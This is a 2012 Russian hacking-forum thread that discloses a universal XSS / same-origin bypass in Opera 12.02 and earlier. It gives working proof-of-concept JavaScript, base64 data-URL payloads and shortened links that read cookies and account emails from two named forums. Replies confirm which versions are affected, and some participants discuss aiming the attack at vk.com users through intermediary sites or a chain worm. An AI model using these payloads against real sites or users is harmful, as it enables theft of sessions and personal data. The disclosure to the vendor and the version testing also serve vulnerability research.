Вернуться   RDot > Аспекты НСД > Web-среда/Web-applications

Ответ
 
Опции темы Опции просмотра
Старый 05.10.2012, 16:00   #1
M_script
 
Регистрация: 06.07.2010
Сообщений: 113
Репутация: 33
По умолчанию XSS на любых сайтах (Opera, 0-day, обход SOP)

follow


Браузер Opera позволяет выполнить XSS-атаку на любой сайт, который предоставляет возможность размещения ссылок на другие сайты.
Уязвимы версии для Opera для Windows, Mac и Linux до 12.02 включительно (последняя версия на сегодняшний день). На версиях до 9.50 проверка не проводилась.
Советую предварительно ознакомится со следующей информацией:
http://ru.wikipedia.org/wiki/Правило_ограничения_домена
http://ru.wikipedia.org/wiki/Data:_URL



В опере при перенаправлении с сайта на data:URL через HTTP-заголовок Location свойство document.domain имеет значение последнего перенаправляющего сайта.
Пример:
PHP код:
<script>alert(document.domain)</script> 
PHP код:
data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ
Ссылка, сокращенная через сервис tinyurl.com:
http://tinyurl.com/antichat-test1

При переходе по ссылке мы увидим алерт "tinyurl.com".
Если нажать Ctrl+R для повтора запроса, в алерте будет уже другой домен - тот, с которого осуществлен переход на ссылку tinyurl.com/antichat-test1


При нажатии Ctrl+R происходит не обновление текущей страницы, а полное повторение запроса. То же самое действие можно выполнить с помощью JS-метода location.reload()
Пример:
PHP код:
<script>
if(
document.domain == 'tinyurl.com')
    
location.reload();
else
    
alert(document.domain);
</script> 
PHP код:
data:text/html;base64,PHNjcmlwdD5pZihkb2N1bWVudC5kb21haW49PSd0aW55dXJsLmNvbScpbG9jYXRpb24ucmVsb2FkKCk7ZWxzZXthbGVydChkb2N1bWVudC5kb21haW4pfTwvc2NyaXB0Pg== 
Ссылка:
http://tinyurl.com/antichat-test2

Теперь в алерте будет домен, с которого осуществлялся переход. Согласно same origin policy это дает доступ к данным, находящимся на том же домене.


Уязвим сайт, с которого пользователь переходит по ссылке, а не тот сайт, который перенаправлят (не tinyurl.com). "Open redirect" не нужен. Для проведения атаки на сайт достаточно возможности написать на нем ссылку.

Vulnerable the site where user clicks the link, not the one that redirects (not tinyurl.com). "Open redirect" is not needed. To attack the site enough to write on it a link.



PoC:
1) Читаем куки forum.antichat.ru:
PHP код:
<script>
if(
document.domain == 'tinyurl.com')
    
location.reload();

function 
xss()
{
    
alert(document.frames[0].document.cookie);
}

function 
ifrAdd()
{
    var 
ifr document.createElement('iframe');
    
ifr.style 'width:0px;height:0px;visibility:hidden';
    
ifr.src 'http';
    
ifr.src += document.referrer.length '' 's';
    
ifr.src += '://forum.antichat.ru/css/a.css';
    
ifr.onload = function(){xss()};
    
document.body.appendChild(ifr);
}

</script>
<body onload=ifrAdd()> 
PHP код:
data:text/html;base64,PHNjcmlwdD5pZihkb2N1bWVudC5kb21haW49PSd0aW55dXJsLmNvbScpbG9jYXRpb24ucmVsb2FkKCk7ZnVuY3Rpb24gYSgpe2FsZXJ0KGRvY3VtZW50LmZyYW1lc1swXS5kb2N1bWVudC5jb29raWUpfWZ1bmN0aW9uIGIoKXt2YXIgaT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpZnJhbWUnKTtpLnN0eWxlPSd3aWR0aDowcHg7aGVpZ2h0OjBweDt2aXNpYmlsaXR5OmhpZGRlbic7aS5zcmMgPSAnaHR0cCc7aS5zcmMrPWRvY3VtZW50LnJlZmVycmVyLmxlbmd0aD8nJzoncyc7aS5zcmMrPSc6Ly9mb3J1bS5hbnRpY2hhdC5ydS9jc3MvYS5jc3MnO2kub25sb2FkPWZ1bmN0aW9uKCl7YSgpfTtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGkpfTwvc2NyaXB0Pjxib2R5IG9ubG9hZD1iKCk
Ссылка (пример работает при переходе по ссылке с домена forum.antichat.ru):
http://tinyurl.com/antichat-cookie


2) Читаем куки rdot.org
PHP код:
<script>
if(
document.domain == 'tinyurl.com')
    
location.reload();

function 
xss()
{
    
alert(document.frames[0].document.cookie);
}

function 
ifrAdd()
{
    var 
ifr document.createElement('iframe');
    
ifr.style 'width:0px;height:0px;visibility:hidden';
    
ifr.src 'https://rdot.org/forum/clientscript/vbulletin_read_marker.js';
    
ifr.onload = function(){xss()};
    
document.body.appendChild(ifr);
}

</script>
<body onload=ifrAdd()> 
PHP код:
data:text/html;base64,PHNjcmlwdD5pZihkb2N1bWVudC5kb21haW49PSd0aW55dXJsLmNvbScpbG9jYXRpb24ucmVsb2FkKCk7ZnVuY3Rpb24gYSgpe2FsZXJ0KGRvY3VtZW50LmZyYW1lc1swXS5kb2N1bWVudC5jb29raWUpfWZ1bmN0aW9uIGIoKXt2YXIgaT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpZnJhbWUnKTtpLnN0eWxlPSd3aWR0aDowcHg7aGVpZ2h0OjBweDt2aXNpYmlsaXR5OmhpZGRlbic7aS5zcmMgPSAnaHR0cHM6Ly9yZG90Lm9yZy9mb3J1bS9jbGllbnRzY3JpcHQvdmJ1bGxldGluX3JlYWRfbWFya2VyLmpzJztpLm9ubG9hZD1mdW5jdGlvbigpe2EoKX07ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChpKX08L3NjcmlwdD48Ym9keSBvbmxvYWQ9YigpPg== 
Ссылка (пример работает при переходе по ссылке с домена rdot.org):
http://tinyurl.com/rdot-cookie


3) Читаем регистрационное мыло forum.antichat.ru
PHP код:
<script>
if(
document.domain == 'tinyurl.com')
    
location.reload();

function 
getMail()
{
    var 
= new XMLHttpRequest;
    
x.open('GET''http' + (document.referrer.length '' 's') + '://forum.antichat.ru/profile.php?do=editpassword'false);
    
x.send(null);
    
alert(x.responseText.match(/name="email" value="(.+?)"/)[1]);
}
</script>
<body onload=getMail()> 
PHP код:
data:text/html;base64,PHNjcmlwdD5pZihkb2N1bWVudC5kb21haW49PSd0aW55dXJsLmNvbScpbG9jYXRpb24ucmVsb2FkKCk7ZnVuY3Rpb24gYSgpe3ZhciB4PW5ldyBYTUxIdHRwUmVxdWVzdDt4Lm9wZW4oJ0dFVCcsJ2h0dHAnKyhkb2N1bWVudC5yZWZlcnJlci5sZW5ndGggPyAnJyA6ICdzJykrJzovL2ZvcnVtLmFudGljaGF0LnJ1L3Byb2ZpbGUucGhwP2RvPWVkaXRwYXNzd29yZCcsZmFsc2UpO3guc2VuZChudWxsKTthbGVydCh4LnJlc3BvbnNlVGV4dC5tYXRjaCgvbmFtZT0iZW1haWwiIHZhbHVlPSIoLis/KSIvKVsxXSl9PC9zY3JpcHQ+PGJvZHkgb25sb2FkPWEoKT4
Ссылка (пример работает при переходе по ссылке с домена forum.antichat.ru):
http://tinyurl.com/antichat-mail


4) Читаем регистрационное мыло rdot.org
PHP код:
<script>
if(
document.domain == 'tinyurl.com')
    
location.reload();

function 
getMail()
{
    var 
= new XMLHttpRequest;
    
x.open('GET''https://rdot.org/forum/profile.php?do=editpassword'false);
    
x.send(null);
    
alert(x.responseText.match(/name="email" value="(.+?)"/)[1]);
}
</script>
<body onload=getMail()> 
PHP код:
data:text/html;base64,PHNjcmlwdD5pZihkb2N1bWVudC5kb21haW49PSd0aW55dXJsLmNvbScpbG9jYXRpb24ucmVsb2FkKCk7ZnVuY3Rpb24gYSgpe3ZhciB4PW5ldyBYTUxIdHRwUmVxdWVzdDt4Lm9wZW4oJ0dFVCcsJ2h0dHBzOi8vcmRvdC5vcmcvZm9ydW0vcHJvZmlsZS5waHA/ZG89ZWRpdHBhc3N3b3JkJyxmYWxzZSk7eC5zZW5kKG51bGwpO2FsZXJ0KHgucmVzcG9uc2VUZXh0Lm1hdGNoKC9uYW1lPSJlbWFpbCIgdmFsdWU9IiguKz8pIi8pWzFdKX08L3NjcmlwdD48Ym9keSBvbmxvYWQ9YSgpPg== 
Ссылка (пример работает при переходе по ссылке с домена rdot.org):
http://tinyurl.com/rdot-mail



тема на antichat.ru

Последний раз редактировалось M_script; 07.02.2013 в 20:21..
M_script вне форума   Ответить с цитированием
Старый 05.10.2012, 17:16   #2
tiger
 
Регистрация: 11.12.2011
Сообщений: 6
Репутация: 0
По умолчанию

Боюсь даже спросить сколько эта уязбимость была известна в приватах до обнародования. Дернуло же мня месяц назад попробовать оперу в замен хрома и лисы. Чую пора обновлять везде куки и логаутить сессии. Фикс еже похожее выпущен и придется воздется от использования оперы какоето время

Последний раз редактировалось tiger; 05.10.2012 в 17:20..
tiger вне форума   Ответить с цитированием
Старый 05.10.2012, 17:26   #3
M_script
 
Регистрация: 06.07.2010
Сообщений: 113
Репутация: 33
По умолчанию

Цитата:
Боюсь даже спросить сколько эта уязбимость была известна в приватах до обнародования
Нашел сегодня. Сразу в паблик.
Багрепорт в оперу отправил.
M_script вне форума   Ответить с цитированием
Старый 05.10.2012, 19:32   #4
Rebz
 
Аватар для Rebz
 
Регистрация: 06.07.2010
Сообщений: 28
Репутация: 14
По умолчанию

Темка чуток в закрытом побывала на тестировании баги под разными средами
__________________
Аудит безопасности сайтов
Вы можете не изменяться.
Выживание — дело добровольное.
(c) Уильям Эдвардс Деминг
Rebz вне форума   Ответить с цитированием
Старый 05.10.2012, 19:40   #5
tiger
 
Регистрация: 11.12.2011
Сообщений: 6
Репутация: 0
По умолчанию

Цитата:
Сообщение от Rebz Посмотреть сообщение
Темка чуток в закрытом побывала на тестировании баги под разными средами
Дак поделился бы, где работает а где нет. Я пока проверил в опере мини под андройдом - похоже что не работает. В опере 12.02 под винду - работает.
tiger вне форума   Ответить с цитированием
Старый 05.10.2012, 20:14   #6
M_script
 
Регистрация: 06.07.2010
Сообщений: 113
Репутация: 33
По умолчанию

Цитата:
Сообщение от tiger Посмотреть сообщение
Дак поделился бы, где работает а где нет. Я пока проверил в опере мини под андройдом - похоже что не работает. В опере 12.02 под винду - работает.
Работает на десктопных версиях. С 9.50 до 12.02 под виндой, до 9.50 и 12.10beta не проверял. Под линуксом последние версии работают, более ранние не проверял.
Если у кого-то есть возможность проверить 12.10beta (все ОС), 9.x-11.x (линукс) и 9.x-11.x (мак), напишите результат проверки.

upd:
Версии 12.01, 12.02 под MacOS уязвимы.

Последний раз редактировалось M_script; 05.10.2012 в 20:44..
M_script вне форума   Ответить с цитированием
Старый 06.10.2012, 04:49   #7
M_script
 
Регистрация: 06.07.2010
Сообщений: 113
Репутация: 33
По умолчанию

Иностранцы неправильно поняли суть уязвимости.
http://blog.detectify.com/post/32947196572/universal-xss-in-opera

Уязвим сайт, с которого пользователь переходит по ссылке, а не тот сайт, который перенаправлят (не tinyurl.com). "Open redirect" не нужен. Для проведения атаки на сайт достаточно возможности написать на нем ссылку.

Vulnerable the site where user clicks the link, not the one that redirects (not tinyurl.com). "Open redirect" is not needed. To attack the site enough to write on it a link.

Последний раз редактировалось M_script; 06.10.2012 в 05:34..
M_script вне форума   Ответить с цитированием
Старый 06.10.2012, 07:41   #8
slider
 
Аватар для slider
 
Регистрация: 07.07.2010
Сообщений: 15
Репутация: 5
По умолчанию

Интересная штука, M_script ресекты и лучи симпы тебе..

Вопрос такой, начал играться с vk.. но меня печалит что нужен переход именно с вконтакта по ссылке, не пашет контрукция перехода на прямую с : http://vk.com/away.php?to=http%3A%2F%2F ...
по сути реферер сохраняется..

Если можно было бы поставить во фрейм URL на посещаемом сайте, было бы больше пользы.
Может подскажите где я проёбываюсь и можно ли такое замутить?
__________________
У меня на ужин был старый приятель. Я съел его печень под гарнир с бобами и бокалом кьянти
slider вне форума   Ответить с цитированием
Старый 06.10.2012, 08:54   #9
kingbeef
 
Регистрация: 28.10.2011
Сообщений: 17
Репутация: 0
По умолчанию

Цитата:
Сообщение от slider Посмотреть сообщение
Интересная штука, M_script ресекты и лучи симпы тебе..

Вопрос такой, начал играться с vk.. но меня печалит что нужен переход именно с вконтакта по ссылке, не пашет контрукция перехода на прямую с : http://vk.com/away.php?to=http%3A%2F%2F ...
по сути реферер сохраняется..

Если можно было бы поставить во фрейм URL на посещаемом сайте, было бы больше пользы.
Может подскажите где я проёбываюсь и можно ли такое замутить?
Не ты один начал играться с вк,но я по другому подумал.
Найти тех,кто массово шлет с таргета (я уже нашел) и поставить к ним код на прокладку.
kingbeef вне форума   Ответить с цитированием
Старый 06.10.2012, 09:04   #10
slider
 
Аватар для slider
 
Регистрация: 07.07.2010
Сообщений: 15
Репутация: 5
По умолчанию

Цитата:
Сообщение от kingbeef Посмотреть сообщение
Не ты один начал играться с вк,но я по другому подумал.
Найти тех,кто массово шлет с таргета (я уже нашел) и поставить к ним код на прокладку.
Лучше уж цепного червя написать, но всё равно не то.. мне интересно почему не сработает переход по редиректу вконтакта..
__________________
У меня на ужин был старый приятель. Я съел его печень под гарнир с бобами и бокалом кьянти
slider вне форума   Ответить с цитированием
Ответ

Опции темы
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2016, Jelsoft Enterprises Ltd. Перевод: zCarot